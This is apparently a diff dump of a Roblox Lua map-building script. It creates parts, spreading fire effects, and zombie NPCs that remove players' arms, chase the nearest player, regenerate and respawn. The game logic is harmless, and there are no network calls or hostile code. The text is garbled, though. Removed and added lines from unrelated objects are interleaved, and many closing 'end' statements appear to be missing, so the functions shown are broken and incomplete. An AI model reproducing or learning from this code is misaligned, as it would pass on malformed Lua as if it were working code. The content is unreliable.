	check.Heat = check.Heat  +1
5778+
Part333.Parent = Model323
5779
Part333.CFrame = CFrame.new(182.086487, 5.09696293, 240.008453, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
5780
Part333.Orientation = Vector3.new(0, 180, 0)
5781
Part333.Position = Vector3.new(182.086487, 5.09696293, 240.008453)
5782
Part333.Rotation = Vector3.new(-180, 0, -180)
5783-
script.Parent.Parent.Touched:connect(Spread)
5783+
Part333.Color = Color3.new(0.631373, 0.768628, 0.54902)
5784
Part333.Velocity = Vector3.new(3.59789445e-20, 0.00686328812, 3.65994592e-20)
5785
Part333.Size = Vector3.new(2, 1, 1)
5786-
Decal447.Parent = Part441
5786+
5787-
Decal447.Texture = "http://www.roblox.com/asset/?id=26804856"
5787+
Part333.BrickColor = BrickColor.new("Medium green")
5788-
Decal447.Face = Enum.NormalId.Left
5788+
Part333.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
5789-
Decal448.Parent = Part441
5789+
5790-
Decal448.Texture = "http://www.roblox.com/asset/?id=37457709"
5790+
Part333.brickColor = BrickColor.new("Medium green")
5791-
Decal448.Face = Enum.NormalId.Left
5791+
Part333.FormFactor = Enum.FormFactor.Symmetric
5792-
Part449.Parent = Model0
5792+
Part333.formFactor = Enum.FormFactor.Symmetric
5793-
Part449.CFrame = CFrame.new(180.401611, 6.00892067, 235.400024, 0, 0, -1, 0, 1, 0, 1, 0, 0)
5793+
Script334.Parent = Part333
5794-
Part449.Orientation = Vector3.new(0, -90, 0)
5794+
table.insert(cors,sandbox(Script334,function()
5795-
Part449.Position = Vector3.new(180.401611, 6.00892067, 235.400024)
5795+
wait(1)
5796-
Part449.Rotation = Vector3.new(0, -90, 0)
5796+
owner=script.Parent.Parent.Name
5797-
Part449.Color = Color3.new(0.388235, 0.372549, 0.384314)
5797+
5798-
Part449.Size = Vector3.new(7, 2.4000001, 3)
5798+
function onTouched(part)
5799-
Part449.Anchored = true
5799+
	if part.Parent ~= nil then
5800-
Part449.BottomSurface = Enum.SurfaceType.Smooth
5800+
		local h = part.Parent:findFirstChild("Humanoid")
5801-
Part449.BrickColor = BrickColor.new("Dark stone grey")
5801+
			if h~=nil then
5802-
Part449.TopSurface = Enum.SurfaceType.Smooth
5802+
				if cantouch~=0 then
5803-
Part449.brickColor = BrickColor.new("Dark stone grey")
5803+
					if h.Parent.Name~=owner then
5804-
Fire450.Parent = Part449
5804+
						
5805-
Fire450.Color = Color3.new(1, 0.72549, 0)
5805+
						if h.Parent:findFirstChild("zarm")~=nil then return end
5806-
Fire450.Enabled = false
5806+
5807-
Fire450.Size = 30
5807+
						cantouch=0
5808-
Fire450.Heat = 25
5808+
5809-
Fire450.SecondaryColor = Color3.new(1, 0, 0)
5809+
						local larm=h.Parent:findFirstChild("Left Arm")
5810-
Fire450.size = 30
5810+
						local rarm=h.Parent:findFirstChild("Right Arm")
5811-
Script451.Name = "Spread"
5811+
						
5812-
Script451.Parent = Fire450
5812+
						if larm~=nil then
5813-
table.insert(cors,sandbox(Script451,function()
5813+
							larm:remove()
5814-
function Spread(part)
5814+
						end
5815-
	check = part:findFirstChild("Fire")
5815+
						if rarm~=nil then
5816-
		if check == nil then 
5816+
							rarm:remove()
5817-
	script.Parent:Clone().Parent = part
5817+
						end
5818-
	
5818+
						local zee=script.Parent.Parent:findFirstChild("zarm")
5819-
		elseif check ~= nil then
5819+
						if zee~=nil then
5820-
	check.Size = check.Size + 1
5820+
							local zlarm=zee:clone()
5821-
	check.Heat = check.Heat  +1
5821+
							local zrarm=zee:clone()
5822
							if zlarm~=nil then
5823
5824
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
5825
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
5826-
script.Parent.Parent.Touched:connect(Spread)
5826+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
5827
								zlarm.Parent=h.Parent
5828
								zrarm.Parent=h.Parent
5829-
Part452.Parent = Model0
5829+
								zlarm:makeJoints()
5830-
Part452.CFrame = CFrame.new(192.501465, 19.1898251, 205.5, 0.999999881, 1.93472933e-05, 1.70469284e-05, -1.93464239e-05, 1, -5.07514342e-05, -1.70469284e-05, 5.07511068e-05, 0.999999881)
5830+
								zrarm:makeJoints()
5831-
Part452.Position = Vector3.new(192.501465, 19.1898251, 205.5)
5831+
								zlarm.Anchored=false
5832-
Part452.Color = Color3.new(0.427451, 0.431373, 0.423529)
5832+
								zrarm.Anchored=false
5833-
Part452.Size = Vector3.new(3, 9.60000038, 1)
5833+
								wait(0.1)
5834-
Part452.Anchored = true
5834+
								h.Parent.Head.Color=zee.Color
5835-
Part452.BottomSurface = Enum.SurfaceType.Smooth
5835+
							else print("no zee"); return end
5836-
Part452.BrickColor = BrickColor.new("Dark grey")
5836+
						end
5837-
Part452.TopSurface = Enum.SurfaceType.Smooth
5837+
						wait(1)
5838-
Part452.brickColor = BrickColor.new("Dark grey")
5838+
						cantouch=1
5839-
Fire453.Parent = Part452
5839+
					end
5840-
Fire453.Color = Color3.new(1, 0.745098, 0)
5840+
				end
5841-
Fire453.Enabled = false
5841+
5842-
Fire453.Size = 30
5842+
5843-
Fire453.Heat = 25
5843+
5844-
Fire453.SecondaryColor = Color3.new(1, 0, 0)
5844+
5845-
Fire453.size = 30
5845+
5846-
Script454.Parent = Fire453
5846+
5847-
table.insert(cors,sandbox(Script454,function()
5847+
ObjectValue335.Name = "IsNZ"
5848-
function Spread(part)
5848+
ObjectValue335.Parent = Model323
5849-
	check = part:findFirstChild("Fire")
5849+
IntValue336.Name = "Mode"
5850-
		if check == nil then 
5850+
IntValue336.Parent = Model323
5851-
	script.Parent:Clone().Parent = part
5851+
Script337.Parent = Model323
5852-
	
5852+
5853-
		elseif check ~= nil then
5853+
local larm = script.Parent:FindFirstChild("Left Arm")
5854-
	check.Size = check.Size + 1
5854+
local rarm = script.Parent:FindFirstChild("Right Arm")
5855-
	check.Heat = check.Heat  +1
5855+
5856
function findNearestTorso(pos)
5857
	local list = game.Workspace:children()
5858
	local torso = nil
5859
	local dist = 1000
5860-
script.Parent.Parent.Touched:connect(Spread)
5860+
	local temp = nil
5861
	local human = nil
5862
	local temp2 = nil
5863
	for x = 1, #list do
5864-
Part455.Parent = Model0
5864+
		temp2 = list[x]
5865-
Part455.CFrame = CFrame.new(183.401611, 8.40966988, 235.400024, 0, 0, -1, 0, 1, 0, 1, 0, 0)
5865+
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
5866-
Part455.Orientation = Vector3.new(0, -90, 0)
5866+
			temp = temp2:findFirstChild("Right Arm")
5867-
Part455.Position = Vector3.new(183.401611, 8.40966988, 235.400024)
5867+
			human = temp2:findFirstChild("Humanoid")
5868-
Part455.Rotation = Vector3.new(0, -90, 0)
5868+
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
5869-
Part455.Color = Color3.new(0.388235, 0.372549, 0.384314)
5869+
				if (temp.Position - pos).magnitude < dist then
5870-
Part455.Size = Vector3.new(7, 2.4000001, 3)
5870+
					torso = temp
5871-
Part455.Anchored = true
5871+
					dist = (temp.Position - pos).magnitude
5872-
Part455.BottomSurface = Enum.SurfaceType.Smooth
5872+
				end
5873-
Part455.BrickColor = BrickColor.new("Dark stone grey")
5873+
5874-
Part455.TopSurface = Enum.SurfaceType.Smooth
5874+
5875-
Part455.brickColor = BrickColor.new("Dark stone grey")
5875+
5876-
Fire456.Parent = Part455
5876+
	return torso
5877-
Fire456.Color = Color3.new(1, 0.72549, 0)
5877+
5878-
Fire456.Enabled = false
5878+
5879-
Fire456.Size = 30
5879+
5880-
Fire456.Heat = 25
5880+
5881-
Fire456.SecondaryColor = Color3.new(1, 0, 0)
5881+
5882-
Fire456.size = 30
5882+
5883-
Script457.Name = "Spread"
5883+
	wait(math.random(1,5))
5884-
Script457.Parent = Fire456
5884+
	local target = findNearestTorso(script.Parent.Torso.Position)
5885-
table.insert(cors,sandbox(Script457,function()
5885+
	if target ~= nil then
5886-
function Spread(part)
5886+
		script.Parent.Humanoid:MoveTo(target.Position, target)
5887-
	check = part:findFirstChild("Fire")
5887+
5888-
		if check == nil then 
5888+
5889-
	script.Parent:Clone().Parent = part
5889+
5890-
	
5890+
5891-
		elseif check ~= nil then
5891+
5892-
	check.Size = check.Size + 1
5892+
Script338.Name = "Health"
5893-
	check.Heat = check.Heat  +1
5893+
Script338.Parent = Model323
5894
table.insert(cors,sandbox(Script338,function()
5895
function waitForChild(parent, childName)
5896
	while true do
5897
		local child = parent:findFirstChild(childName)
5898-
script.Parent.Parent.Touched:connect(Spread)
5898+
		if child then
5899
			return child
5900
		end
5901-
Part458.Parent = Model0
5901+
		parent.ChildAdded:wait()
5902-
Part458.CFrame = CFrame.new(186.401611, 10.81007, 235.400024, 0, 0, -1, 0, 1, 0, 1, 0, 0)
5902+
5903-
Part458.Orientation = Vector3.new(0, -90, 0)
5903+
5904-
Part458.Position = Vector3.new(186.401611, 10.81007, 235.400024)
5904+
5905-
Part458.Rotation = Vector3.new(0, -90, 0)
5905+
-- declarations
5906-
Part458.Color = Color3.new(0.388235, 0.372549, 0.384314)
5906+
5907-
Part458.Size = Vector3.new(7, 2.4000001, 3)
5907+
local Figure = script.Parent
5908-
Part458.Anchored = true
5908+
local Head = waitForChild(Figure, "Head")
5909-
Part458.BottomSurface = Enum.SurfaceType.Smooth
5909+
local Humanoid = waitForChild(Figure, "Humanoid")
5910-
Part458.BrickColor = BrickColor.new("Dark stone grey")
5910+
Humanoid.Health=500
5911-
Part458.TopSurface = Enum.SurfaceType.Smooth
5911+
-- regeneration
5912-
Part458.brickColor = BrickColor.new("Dark stone grey")
5912+
5913-
Fire459.Parent = Part458
5913+
	local s = wait(4)
5914-
Fire459.Color = Color3.new(1, 0.72549, 0)
5914+
	local health = Humanoid.Health
5915-
Fire459.Enabled = false
5915+
	if health > 0 and health < Humanoid.MaxHealth then
5916-
Fire459.Size = 30
5916+
		health = health + 0.08 * s * Humanoid.MaxHealth
5917-
Fire459.Heat = 25
5917+
		if health * 1.05 < Humanoid.MaxHealth then
5918-
Fire459.SecondaryColor = Color3.new(1, 0, 0)
5918+
			Humanoid.Health = health
5919-
Fire459.size = 30
5919+
		else
5920-
Script460.Name = "Spread"
5920+
			Humanoid.Health = Humanoid.MaxHealth
5921-
Script460.Parent = Fire459
5921+
5922-
table.insert(cors,sandbox(Script460,function()
5922+
5923-
function Spread(part)
5923+
5924-
	check = part:findFirstChild("Fire")
5924+
5925-
		if check == nil then 
5925+
5926-
	script.Parent:Clone().Parent = part
5926+
Script339.Name = "Respawn"
5927-
	
5927+
Script339.Parent = Model323
5928-
		elseif check ~= nil then
5928+
table.insert(cors,sandbox(Script339,function()
5929-
	check.Size = check.Size + 1
5929+
name="Humanoid"
5930-
	check.Heat = check.Heat  +1
5930+
5931
robo=script.Parent:clone()
5932
5933
while true do
5934
	wait(1)
5935-
script.Parent.Parent.Touched:connect(Spread)
5935+
	if script.Parent.Humanoid.Health<1 then
5936
		robot=robo:clone()
5937
		robot.Parent=script.Parent.Parent
5938-
Part461.Parent = Model0
5938+
		robot:makeJoints()
5939-
Part461.CFrame = CFrame.new(191.001465, 13.2100878, 235.5, 0, 0, -1, 0, 1, 0, 1, 0, 0)
5939+
		script.Parent:remove()
5940-
Part461.Orientation = Vector3.new(0, -90, 0)
5940+
5941-
Part461.Position = Vector3.new(191.001465, 13.2100878, 235.5)
5941+
5942-
Part461.Rotation = Vector3.new(0, -90, 0)
5942+
5943-
Part461.Color = Color3.new(0.388235, 0.372549, 0.384314)
5943+
5944-
Part461.Size = Vector3.new(7, 2.4000001, 6)
5944+
5945-
Part461.Anchored = true
5945+
5946-
Part461.BottomSurface = Enum.SurfaceType.Smooth
5946+
5947-
Part461.BrickColor = BrickColor.new("Dark stone grey")
5947+
Part340.Name = "Spawn Location"
5948-
Part461.TopSurface = Enum.SurfaceType.Smooth
5948+
Part340.Parent = Model322
5949-
Part461.brickColor = BrickColor.new("Dark stone grey")
5949+
Part340.CFrame = CFrame.new(182.091461, 0.600017011, 241.48645, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
5950-
Fire462.Parent = Part461
5950+
Part340.Orientation = Vector3.new(0, 180, 0)
5951-
Fire462.Color = Color3.new(1, 0.72549, 0)
5951+
Part340.Position = Vector3.new(182.091461, 0.600017011, 241.48645)
5952-
Fire462.Enabled = false
5952+
Part340.Rotation = Vector3.new(-180, 0, -180)
5953-
Fire462.Size = 30
5953+
Part340.Color = Color3.new(0.631373, 0.768628, 0.54902)
5954-
Fire462.Heat = 25
5954+
Part340.Size = Vector3.new(6, 1.20000005, 6)
5955-
Fire462.SecondaryColor = Color3.new(1, 0, 0)
5955+
Part340.BottomSurface = Enum.SurfaceType.Weld
5956-
Fire462.size = 30
5956+
Part340.BrickColor = BrickColor.new("Medium green")
5957-
Script463.Name = "Spread"
5957+
Part340.TopSurface = Enum.SurfaceType.Smooth
5958-
Script463.Parent = Fire462
5958+
Part340.brickColor = BrickColor.new("Medium green")
5959-
table.insert(cors,sandbox(Script463,function()
5959+
Decal341.Parent = Part340
5960-
function Spread(part)
5960+
Decal341.Texture = "http://www.roblox.com/asset/?id=34541722"
5961-
	check = part:findFirstChild("Fire")
5961+
Decal341.Face = Enum.NormalId.Top
5962-
		if check == nil then 
5962+
Model342.Parent = Model201
5963-
	script.Parent:Clone().Parent = part
5963+
Model343.Name = "Zombie"
5964-
	
5964+
Model343.Parent = Model342
5965-
		elseif check ~= nil then
5965+
Model343.PrimaryPart = Part344
5966-
	check.Size = check.Size + 1
5966+
Part344.Name = "Head"
5967-
	check.Heat = check.Heat  +1
5967+
Part344.Parent = Model343
5968
Part344.CFrame = CFrame.new(182.591461, 6.09995508, 229.48645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
5969
Part344.Orientation = Vector3.new(0, 90, 0)
5970
Part344.Position = Vector3.new(182.591461, 6.09995508, 229.48645)
5971
Part344.Rotation = Vector3.new(0, 90, 0)
5972-
script.Parent.Parent.Touched:connect(Spread)
5972+
Part344.Color = Color3.new(0.631373, 0.768628, 0.54902)
5973
Part344.Size = Vector3.new(2, 1, 1)
5974
Part344.BrickColor = BrickColor.new("Medium green")
5975-
Part464.Parent = Model0
5975+
Part344.TopSurface = Enum.SurfaceType.Smooth
5976-
Part464.CFrame = CFrame.new(174.501465, 19.2098045, 179, 1, 1.04935471e-09, 2.98023224e-08, -9.32216748e-10, 1, 0, -2.98023224e-08, 4.77305417e-10, 1)
5976+
Part344.brickColor = BrickColor.new("Medium green")
5977-
Part464.Position = Vector3.new(174.501465, 19.2098045, 179)
5977+
Part344.FormFactor = Enum.FormFactor.Symmetric
5978-
Part464.Color = Color3.new(0.0509804, 0.411765, 0.67451)
5978+
Part344.formFactor = Enum.FormFactor.Symmetric
5979-
Part464.Size = Vector3.new(39, 14.4000006, 2)
5979+
SpecialMesh345.Parent = Part344
5980-
Part464.Anchored = true
5980+
SpecialMesh345.Scale = Vector3.new(1.25, 1.25, 1.25)
5981-
Part464.BottomSurface = Enum.SurfaceType.Smooth
5981+
Decal346.Name = "face"
5982-
Part464.BrickColor = BrickColor.new("Bright blue")
5982+
Decal346.Parent = Part344
5983-
Part464.TopSurface = Enum.SurfaceType.Smooth
5983+
Part347.Name = "Torso"
5984-
Part464.brickColor = BrickColor.new("Bright blue")
5984+
Part347.Parent = Model343
5985-
Fire465.Parent = Part464
5985+
Part347.CFrame = CFrame.new(182.591461, 4.59995508, 229.48645, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
5986-
Fire465.Color = Color3.new(1, 0.745098, 0)
5986+
Part347.Orientation = Vector3.new(0, 90, 0)
5987-
Fire465.Enabled = false
5987+
Part347.Position = Vector3.new(182.591461, 4.59995508, 229.48645)
5988-
Fire465.Size = 30
5988+
Part347.Rotation = Vector3.new(0, 90, 0)
5989-
Fire465.Heat = 25
5989+
Part347.Color = Color3.new(0.411765, 0.25098, 0.156863)
5990-
Fire465.SecondaryColor = Color3.new(1, 0, 0)
5990+
Part347.Size = Vector3.new(2, 2, 1)
5991-
Fire465.size = 30
5991+
Part347.BrickColor = BrickColor.new("Reddish brown")
5992-
Script466.Parent = Fire465
5992+
Part347.LeftParamA = 0
5993-
table.insert(cors,sandbox(Script466,function()
5993+
Part347.LeftParamB = 0
5994-
function Spread(part)
5994+
Part347.LeftSurface = Enum.SurfaceType.Weld
5995-
	check = part:findFirstChild("Fire")
5995+
Part347.RightParamA = 0
5996-
		if check == nil then 
5996+
Part347.RightParamB = 0
5997-
	script.Parent:Clone().Parent = part
5997+
Part347.RightSurface = Enum.SurfaceType.Weld
5998-
	
5998+
Part347.brickColor = BrickColor.new("Reddish brown")
5999-
		elseif check ~= nil then
5999+
Part347.FormFactor = Enum.FormFactor.Symmetric
6000-
	check.Size = check.Size + 1
6000+
Part347.formFactor = Enum.FormFactor.Symmetric
6001-
	check.Heat = check.Heat  +1
6001+
Part348.Name = "Left Leg"
6002
Part348.Parent = Model343
6003
Part348.CFrame = CFrame.new(182.591461, 2.59995508, 229.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
6004
Part348.Orientation = Vector3.new(0, 90, 0)
6005
Part348.Position = Vector3.new(182.591461, 2.59995508, 229.98645)
6006-
script.Parent.Parent.Touched:connect(Spread)
6006+
Part348.Rotation = Vector3.new(0, 90, 0)
6007
Part348.Color = Color3.new(0.411765, 0.25098, 0.156863)
6008
Part348.Size = Vector3.new(1, 2, 1)
6009
Part348.BottomSurface = Enum.SurfaceType.Smooth
6010-
Part467.Parent = Model0
6010+
Part348.BrickColor = BrickColor.new("Reddish brown")
6011-
Part467.CFrame = CFrame.new(156.501465, 6.00892067, 179, -1, 0, 0, 0, 1, 0, 0, 0, -1)
6011+
Part348.CanCollide = false
6012-
Part467.Orientation = Vector3.new(0, 180, 0)
6012+
Part348.brickColor = BrickColor.new("Reddish brown")
6013-
Part467.Position = Vector3.new(156.501465, 6.00892067, 179)
6013+
Part348.FormFactor = Enum.FormFactor.Symmetric
6014-
Part467.Rotation = Vector3.new(-180, 0, -180)
6014+
Part348.formFactor = Enum.FormFactor.Symmetric
6015-
Part467.Color = Color3.new(0.0509804, 0.411765, 0.67451)
6015+
Part349.Name = "Right Leg"
6016-
Part467.Size = Vector3.new(3, 12, 2)
6016+
Part349.Parent = Model343
6017-
Part467.Anchored = true
6017+
Part349.CFrame = CFrame.new(182.591461, 2.59995508, 228.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
6018-
Part467.BrickColor = BrickColor.new("Bright blue")
6018+
Part349.Orientation = Vector3.new(0, 90, 0)
6019-
Part467.brickColor = BrickColor.new("Bright blue")
6019+
Part349.Position = Vector3.new(182.591461, 2.59995508, 228.98645)
6020-
Fire468.Parent = Part467
6020+
Part349.Rotation = Vector3.new(0, 90, 0)
6021-
Fire468.Color = Color3.new(1, 0.72549, 0)
6021+
Part349.Color = Color3.new(0.411765, 0.25098, 0.156863)
6022-
Fire468.Enabled = false
6022+
Part349.Size = Vector3.new(1, 2, 1)
6023-
Fire468.Size = 30
6023+
Part349.BottomSurface = Enum.SurfaceType.Smooth
6024-
Fire468.Heat = 25
6024+
Part349.BrickColor = BrickColor.new("Reddish brown")
6025-
Fire468.SecondaryColor = Color3.new(1, 0, 0)
6025+
Part349.CanCollide = false
6026-
Fire468.size = 30
6026+
Part349.brickColor = BrickColor.new("Reddish brown")
6027-
Script469.Name = "Spread"
6027+
Part349.FormFactor = Enum.FormFactor.Symmetric
6028-
Script469.Parent = Fire468
6028+
Part349.formFactor = Enum.FormFactor.Symmetric
6029-
table.insert(cors,sandbox(Script469,function()
6029+
Humanoid350.Parent = Model343
6030-
function Spread(part)
6030+
Humanoid350.LeftLeg = Part348
6031-
	check = part:findFirstChild("Fire")
6031+
Humanoid350.NameOcclusion = Enum.NameOcclusion.NoOcclusion
6032-
		if check == nil then 
6032+
Humanoid350.RightLeg = Part349
6033-
	script.Parent:Clone().Parent = part
6033+
Humanoid350.Torso = Part347
6034-
	
6034+
Part351.Name = "zarm"
6035-
		elseif check ~= nil then
6035+
Part351.Parent = Model343
6036-
	check.Size = check.Size + 1
6036+
Part351.CFrame = CFrame.new(182.091461, 5.09995508, 230.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
6037-
	check.Heat = check.Heat  +1
6037+
Part351.Orientation = Vector3.new(0, 180, 0)
6038
Part351.Position = Vector3.new(182.091461, 5.09995508, 230.98645)
6039
Part351.Rotation = Vector3.new(-180, 0, -180)
6040
Part351.Color = Color3.new(0.631373, 0.768628, 0.54902)
6041
Part351.Size = Vector3.new(2, 1, 1)
6042-
script.Parent.Parent.Touched:connect(Spread)
6042+
Part351.BottomSurface = Enum.SurfaceType.Smooth
6043
Part351.BrickColor = BrickColor.new("Medium green")
6044
Part351.TopSurface = Enum.SurfaceType.Smooth
6045-
Part470.Parent = Model0
6045+
Part351.brickColor = BrickColor.new("Medium green")
6046-
Part470.CFrame = CFrame.new(174.5, 1.20001602, 209.5, 0, 0, -1, 0, 1, 0, 1, 0, 0)
6046+
Part351.FormFactor = Enum.FormFactor.Symmetric
6047-
Part470.Orientation = Vector3.new(0, -90, 0)
6047+
Part351.formFactor = Enum.FormFactor.Symmetric
6048-
Part470.Position = Vector3.new(174.5, 1.20001602, 209.5)
6048+
Script352.Parent = Part351
6049-
Part470.Rotation = Vector3.new(0, -90, 0)
6049+
table.insert(cors,sandbox(Script352,function()
6050-
Part470.Color = Color3.new(0.388235, 0.372549, 0.384314)
6050+
wait(1)
6051-
Part470.Size = Vector3.new(59, 2.4000001, 39)
6051+
owner=script.Parent.Parent.Name
6052-
Part470.Anchored = true
6052+
6053-
Part470.BrickColor = BrickColor.new("Dark stone grey")
6053+
function onTouched(part)
6054-
Part470.TopSurface = Enum.SurfaceType.Smooth
6054+
	if part.Parent ~= nil then
6055-
Part470.brickColor = BrickColor.new("Dark stone grey")
6055+
		local h = part.Parent:findFirstChild("Humanoid")
6056-
Fire471.Parent = Part470
6056+
			if h~=nil then
6057-
Fire471.Color = Color3.new(1, 0.745098, 0)
6057+
				if cantouch~=0 then
6058-
Fire471.Enabled = false
6058+
					if h.Parent.Name~=owner then
6059-
Fire471.Size = 30
6059+
						
6060-
Fire471.Heat = 25
6060+
						if h.Parent:findFirstChild("zarm")~=nil then return end
6061-
Fire471.SecondaryColor = Color3.new(1, 0, 0)
6061+
6062-
Fire471.size = 30
6062+
						cantouch=0
6063-
Script472.Parent = Fire471
6063+
6064-
table.insert(cors,sandbox(Script472,function()
6064+
						local larm=h.Parent:findFirstChild("Left Arm")
6065-
function Spread(part)
6065+
						local rarm=h.Parent:findFirstChild("Right Arm")
6066-
	check = part:findFirstChild("Fire")
6066+
						
6067-
		if check == nil then 
6067+
						if larm~=nil then
6068-
	script.Parent:Clone().Parent = part
6068+
							larm:remove()
6069-
	
6069+
						end
6070-
		elseif check ~= nil then
6070+
						if rarm~=nil then
6071-
	check.Size = check.Size + 1
6071+
							rarm:remove()
6072-
	check.Heat = check.Heat  +1
6072+
						end
6073
						local zee=script.Parent.Parent:findFirstChild("zarm")
6074
						if zee~=nil then
6075
							local zlarm=zee:clone()
6076
							local zrarm=zee:clone()
6077-
script.Parent.Parent.Touched:connect(Spread)
6077+
							if zlarm~=nil then
6078
6079
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6080
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
6081-
Part473.Parent = Model0
6081+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
6082-
Part473.CFrame = CFrame.new(195.001465, 13.2100639, 209.5, 0, 0, -1, 0, 1, 0, 1, 0, 0)
6082+
								zlarm.Parent=h.Parent
6083-
Part473.Orientation = Vector3.new(0, -90, 0)
6083+
								zrarm.Parent=h.Parent
6084-
Part473.Position = Vector3.new(195.001465, 13.2100639, 209.5)
6084+
								zlarm:makeJoints()
6085-
Part473.Rotation = Vector3.new(0, -90, 0)
6085+
								zrarm:makeJoints()
6086-
Part473.Color = Color3.new(0.0509804, 0.411765, 0.67451)
6086+
								zlarm.Anchored=false
6087-
Part473.Size = Vector3.new(63, 26.4000015, 2)
6087+
								zrarm.Anchored=false
6088-
Part473.Anchored = true
6088+
								wait(0.1)
6089-
Part473.BrickColor = BrickColor.new("Bright blue")
6089+
								h.Parent.Head.Color=zee.Color
6090-
Part473.TopSurface = Enum.SurfaceType.Smooth
6090+
							else print("no zee"); return end
6091-
Part473.brickColor = BrickColor.new("Bright blue")
6091+
						end
6092-
Fire474.Parent = Part473
6092+
						wait(1)
6093-
Fire474.Color = Color3.new(1, 0.72549, 0)
6093+
						cantouch=1
6094-
Fire474.Enabled = false
6094+
					end
6095-
Fire474.Size = 30
6095+
				end
6096-
Fire474.Heat = 25
6096+
6097-
Fire474.SecondaryColor = Color3.new(1, 0, 0)
6097+
6098-
Fire474.size = 30
6098+
6099-
Script475.Name = "Spread"
6099+
6100-
Script475.Parent = Fire474
6100+
6101-
table.insert(cors,sandbox(Script475,function()
6101+
6102-
function Spread(part)
6102+
Part353.Name = "zarm"
6103-
	check = part:findFirstChild("Fire")
6103+
Part353.Parent = Model343
6104-
		if check == nil then 
6104+
Part353.CFrame = CFrame.new(182.091461, 5.09995508, 227.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
6105-
	script.Parent:Clone().Parent = part
6105+
Part353.Orientation = Vector3.new(0, 180, 0)
6106-
	
6106+
Part353.Position = Vector3.new(182.091461, 5.09995508, 227.98645)
6107-
		elseif check ~= nil then
6107+
Part353.Rotation = Vector3.new(-180, 0, -180)
6108-
	check.Size = check.Size + 1
6108+
Part353.Color = Color3.new(0.631373, 0.768628, 0.54902)
6109-
	check.Heat = check.Heat  +1
6109+
Part353.Size = Vector3.new(2, 1, 1)
6110
Part353.BottomSurface = Enum.SurfaceType.Smooth
6111
Part353.BrickColor = BrickColor.new("Medium green")
6112
Part353.TopSurface = Enum.SurfaceType.Smooth
6113
Part353.brickColor = BrickColor.new("Medium green")
6114-
script.Parent.Parent.Touched:connect(Spread)
6114+
Part353.FormFactor = Enum.FormFactor.Symmetric
6115
Part353.formFactor = Enum.FormFactor.Symmetric
6116
Script354.Parent = Part353
6117-
WedgePart476.Parent = Model0
6117+
table.insert(cors,sandbox(Script354,function()
6118-
WedgePart476.CFrame = CFrame.new(175.501465, 1.20921421, 176.5, 1, -2.18278728e-11, -1.09126603e-07, -7.27595761e-12, 1, -4.07453626e-10, 1.14390843e-07, 4.07453626e-10, 1)
6118+
wait(1)
6119-
WedgePart476.Position = Vector3.new(175.501465, 1.20921421, 176.5)
6119+
owner=script.Parent.Parent.Name
6120-
WedgePart476.Color = Color3.new(0.427451, 0.431373, 0.423529)
6120+
6121-
WedgePart476.Size = Vector3.new(35, 2.4000001, 7)
6121+
function onTouched(part)
6122-
WedgePart476.Anchored = true
6122+
	if part.Parent ~= nil then
6123-
WedgePart476.BrickColor = BrickColor.new("Dark grey")
6123+
		local h = part.Parent:findFirstChild("Humanoid")
6124-
WedgePart476.brickColor = BrickColor.new("Dark grey")
6124+
			if h~=nil then
6125-
Fire477.Parent = WedgePart476
6125+
				if cantouch~=0 then
6126-
Fire477.Color = Color3.new(1, 0.745098, 0)
6126+
					if h.Parent.Name~=owner then
6127-
Fire477.Enabled = false
6127+
						
6128-
Fire477.Size = 30
6128+
						if h.Parent:findFirstChild("zarm")~=nil then return end
6129-
Fire477.Heat = 25
6129+
6130-
Fire477.SecondaryColor = Color3.new(1, 0, 0)
6130+
						cantouch=0
6131-
Fire477.size = 30
6131+
6132-
Script478.Parent = Fire477
6132+
						local larm=h.Parent:findFirstChild("Left Arm")
6133-
table.insert(cors,sandbox(Script478,function()
6133+
						local rarm=h.Parent:findFirstChild("Right Arm")
6134-
function Spread(part)
6134+
						
6135-
	check = part:findFirstChild("Fire")
6135+
						if larm~=nil then
6136-
		if check == nil then 
6136+
							larm:remove()
6137-
	script.Parent:Clone().Parent = part
6137+
						end
6138-
	
6138+
						if rarm~=nil then
6139-
		elseif check ~= nil then
6139+
							rarm:remove()
6140-
	check.Size = check.Size + 1
6140+
						end
6141-
	check.Heat = check.Heat  +1
6141+
						local zee=script.Parent.Parent:findFirstChild("zarm")
6142
						if zee~=nil then
6143
							local zlarm=zee:clone()
6144
							local zrarm=zee:clone()
6145
							if zlarm~=nil then
6146-
script.Parent.Parent.Touched:connect(Spread)
6146+
6147
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6148
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
6149
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
6150-
Model479.Parent = Model0
6150+
								zlarm.Parent=h.Parent
6151-
Model480.Name = "Jeep"
6151+
								zrarm.Parent=h.Parent
6152-
Model480.Parent = Model479
6152+
								zlarm:makeJoints()
6153-
Part481.Name = "Smooth Block Model"
6153+
								zrarm:makeJoints()
6154-
Part481.Parent = Model480
6154+
								zlarm.Anchored=false
6155-
Part481.CFrame = CFrame.new(182, 6.00000668, 203.5, -1, 0, 0, 0, -1, 0, 0, 0, 1)
6155+
								zrarm.Anchored=false
6156-
